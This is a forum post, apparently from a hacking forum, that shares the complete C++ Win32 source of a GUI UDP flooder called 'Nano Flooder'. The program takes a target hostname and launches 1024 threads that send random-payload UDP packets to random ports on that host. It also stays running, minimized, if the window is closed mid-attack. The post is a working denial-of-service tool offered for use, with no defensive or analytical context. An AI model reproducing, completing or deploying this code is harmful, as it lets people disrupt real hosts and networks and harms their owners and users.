Backend Development
Junk [Tool] UDP Flooder tool Source
Submitted by Nobodyy, 05-02-2018, 09:44 PM, Thread ID: 73684
Thread Closed
05-02-2018, 09:44 PM
#1 PHP Code:
#include <WinSock2.h>
#include <CommCtrl.h>
#define IDM_START 1
#define IDM_ABOUT 2
extern "C" BOOLEAN NTAPI SystemFunction036(PVOID Buffer,ULONG Length);
HWND hEdit,hButton;
BOOL Attacking=FALSE;
DWORD WINAPI ThreadProc(PVOID p)
{
SOCKET s;
sockaddr_in sai;
char buf[1024];
s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
SecureZeroMemory(&sai,sizeof(sockaddr_in));
sai.sin_family=AF_INET;
sai.sin_addr=*(in_addr*)p;
while(Attacking)
{
SystemFunction036(&sai.sin_port,sizeof(USHORT));
SecureZeroMemory(buf,1024);
SystemFunction036(buf,1024);
sendto(s,buf,1024,0,(sockaddr*)&sai,sizeof(sockaddr_in));
Sleep(500);
}
closesocket(s); // Close the socket
return 0;
}
LRESULT CALLBACK WindowProc(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
HDC hDC;
PAINTSTRUCT ps;
in_addr Address;
ULONG i;
hostent* Host;
char buf[1024];
switch(uMsg)
{
case WM_CREATE:
hEdit=CreateWindowEx(
WS_EX_CLIENTEDGE,
"Edit",
NULL,
WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,
10,5,200,20,
hWnd,
NULL,
NULL,
NULL
);
hButton=CreateWindowEx(
0,
"Button",
"Start",
WS_CHILD|WS_VISIBLE|WS_BORDER,
220,5,70,20,
hWnd,
(HMENU)IDM_START,
NULL,
NULL
);
CreateWindowEx(
0,
"Button",
"About",
WS_CHILD|WS_VISIBLE|WS_BORDER,
300,5,70,20,
hWnd,
(HMENU)IDM_ABOUT,
NULL,
NULL
);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
case WM_CLOSE:
if(!Attacking)
{
DestroyWindow(hWnd);
}
else
{
ShowWindow(hWnd,SW_MINIMIZE);
}
break;
case WM_PAINT:
hDC=BeginPaint(hWnd,&ps);
FillRect(hDC,&ps.rcPaint,NULL);
EndPaint(hWnd,&ps);
break;
case WM_COMMAND:
switch(LOWORD(wParam))
{
case IDM_START:
if(!Attacking)
{
if(!SendMessage(hEdit,WM_GETTEXT,1024,(LPARAM)buf))
{
MessageBox(hWnd,"Please enter the target name.","Error",MB_ICONERROR);
break;
}
Host=gethostbyname(buf);
if(!Host)
{
wsprintf(buf,"Unable to resolve target name (%d)",WSAGetLastError());
MessageBox(hWnd,buf,"Error",MB_ICONERROR);
break;
}
Address.S_un.S_addr=*(PULONG)Host->h_addr;
Attacking=TRUE; // Start the attack
for(i=0;i<1024;i++)
{
CloseHandle(CreateThread(NULL,0,ThreadProc,&Address,0,NULL));
}
SendMessage(hButton,WM_SETTEXT,0,(LPARAM)"Stop");
}
else
{
Attacking=FALSE;
SendMessage(hButton,WM_SETTEXT,0,(LPARAM)"Start");
}
break;
case IDM_ABOUT:
MessageBox(hWnd,"Flooder by PriX","About",MB_ICONINFORMATION);
break;
default:
break;
}
break;
default:
return DefWindowProc(hWnd,uMsg,wParam,lParam);
}
return 0;
}
void WINAPI EntryPoint()
{
WNDCLASSEX wc;
MSG msg;
HWND hWnd;
WSADATA wd;
int Result;
char buf[1024];
CreateMutex(NULL,TRUE,"Global\\NanoFlooderMutex");
if(GetLastError()==ERROR_ALREADY_EXISTS)
{
hWnd=FindWindow("NanoFlooder","Nano Flooder");
if(hWnd)
{
ShowWindow(hWnd,SW_SHOW);
SetForegroundWindow(hWnd);
}
ExitProcess(0);
}
Result=WSAStartup(0x202,&wd);
if(Result)
{
wsprintf(buf,"Unable to initialize Winsock (%d)",Result);
MessageBox(NULL,buf,"Error",MB_ICONERROR);
ExitProcess(0);
}
SecureZeroMemory(&wc,sizeof(WNDCLASSEX));
// Initialize the window class
wc.cbSize=sizeof(WNDCLASSEX);
wc.lpfnWndProc=WindowProc;
wc.lpszClassName="NanoFlooder";
if(!RegisterClassEx(&wc))
{
wsprintf(buf,"Unable to register window class (%d)",GetLastError());
MessageBox(NULL,buf,"Error",MB_ICONERROR);
ExitProcess(0);
}
hWnd=CreateWindowEx(
0,
"NanoFlooder",
"Nano Flooder",
WS_VISIBLE|WS_CAPTION|WS_SYSMENU,
CW_USEDEFAULT,CW_USEDEFAULT,385,60,
NULL,
NULL,
NULL,
NULL
);
if(!hWnd)
{
wsprintf(buf,"Unable to create the main window (%d)",GetLastError());
MessageBox(NULL,buf,"Error",MB_ICONERROR);
ExitProcess(0);
}
ShowWindow(hWnd,SW_SHOW);
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
WSACleanup();
ExitProcess(0);
}
Users browsing this thread: 1 Guest(s)